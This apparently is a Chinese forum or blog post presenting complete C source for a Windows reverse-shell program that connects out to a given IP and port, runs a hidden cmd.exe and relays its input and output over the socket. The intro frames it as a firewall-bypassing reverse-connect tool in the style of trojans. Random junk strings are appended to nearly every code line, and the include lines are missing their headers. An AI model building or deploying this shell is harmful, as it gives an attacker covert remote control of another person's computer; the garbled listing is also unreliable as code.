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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i2LN`5k  
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/* ============================== c-Qa0 Q  
Rebound port in Windows NT }j\8|UG  
By wind,2006/7 V9`jq$  
===============================*/ !__^M3S,k  
#include mxwG~a'_  
#include sq8O+AWl  
1X?q4D"  
#pragma comment(lib,"wsock32.lib") \PmM856=ms  
c&`]O\D-c  
void OutputShell(); F-Ku0z]){?  
SOCKET sClient; eNm Wul  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KXu1%`x=%Z  
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void main(int argc,char **argv) mt-t8~A  
{ =]<X6!0mR  
WSADATA stWsaData; u:^9ZQ+  
int nRet; W:2]d  
SOCKADDR_IN stSaiClient,stSaiServer; O@LUM{\  
RF\h69]:I  
if(argc != 3) s-l3_210  
{ C"h7'+Kw  
printf("Useage:\n\rRebound DestIP DestPort\n"); OoZv\"}!_  
return; a1v?{vu\E  
} g{m~TVm'  
\@6V{y'Zo  
WSAStartup(MAKEWORD(2,2),&stWsaData); 8BnsYy)j  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A5G@u}YS5  
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stSaiClient.sin_family = AF_INET; mWVq>~  
stSaiClient.sin_port = htons(0); )Qo^Mz  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }9+Vf'u|l  
}jNVR#D:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .WGrzhsV  
{ ]pVuRj'pP  
printf("Bind Socket Failed!\n"); c{i\F D  
return; q6P5:@  
} D:N\K/p  
NRe=O*O  
stSaiServer.sin_family = AF_INET; 36 ]?4, .  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6N.MC B^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S&'-wA Ed  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \Oe8h#%  
{ o~VZ%B  
printf("Connect Error!"); 4}<[4]f?|  
return; p.vxrk`c  
} Q+E)_5_sA  
OutputShell(); F[0w*i&u5  
} z+nq<%"'  
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void OutputShell() 08nA}+k  
{ b .xG'  
char szBuff[1024]; "s\himoa  
SECURITY_ATTRIBUTES stSecurityAttributes; Lo +H&-  
OSVERSIONINFO stOsversionInfo; H*&!$s.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }wGy#!CSza  
STARTUPINFO stStartupInfo; ESkhCDU  
char *szShell; U H6 Jvt  
PROCESS_INFORMATION stProcessInformation; #| m*k  
unsigned long lBytesRead; J vtbGPz  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -.UUa  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =K9-  
stSecurityAttributes.lpSecurityDescriptor = 0; S$nEflcz  
stSecurityAttributes.bInheritHandle = TRUE; |<LW(,|A  
W)u9VbPk[  
}DkdF  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R=L-Ulhk  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ER<Z!*2  
twql)lbx  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qB3=wFI  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @P<Mc )o^  
stStartupInfo.wShowWindow = SW_HIDE; &t74T"(d  
stStartupInfo.hStdInput = hReadPipe; q&: t$tSS  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; AH# Dk5#G  
(KphAA8  
GetVersionEx(&stOsversionInfo); *Di ;Gf@  
B|- W  
switch(stOsversionInfo.dwPlatformId) ,)t/1oQ}>^  
{ %r:Uff@  
case 1: ^:o^g'Yab  
szShell = "command.com"; DA/ \[w?J  
break; ujbJ&p   
default: ZJ |&t  
szShell = "cmd.exe"; <{k8 K6  
break; 8s6^!e&  
} oBWa\N  
cb_nlG!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IjRUL/\=  
VOrBNu  
send(sClient,szMsg,77,0); ?qczMck_  
while(1) |Q#CQz  
{ j4eq.{$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \l/<[ZZ  
if(lBytesRead) +Pb@@C&  
{ ":01M},RA  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y r 1k\q  
send(sClient,szBuff,lBytesRead,0); 3xpygx9  
} WI\h@qSB  
else Hr=?_Un"  
{ E <h9o>h  
lBytesRead=recv(sClient,szBuff,1024,0); IlMst16q5  
if(lBytesRead<=0) break; Ny 7vId  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^e1mK4`  
} #(r1b'jfP  
} c4FU@^Vv  
p~Mw^SN'  
return; Q%_MO`<]$  
}
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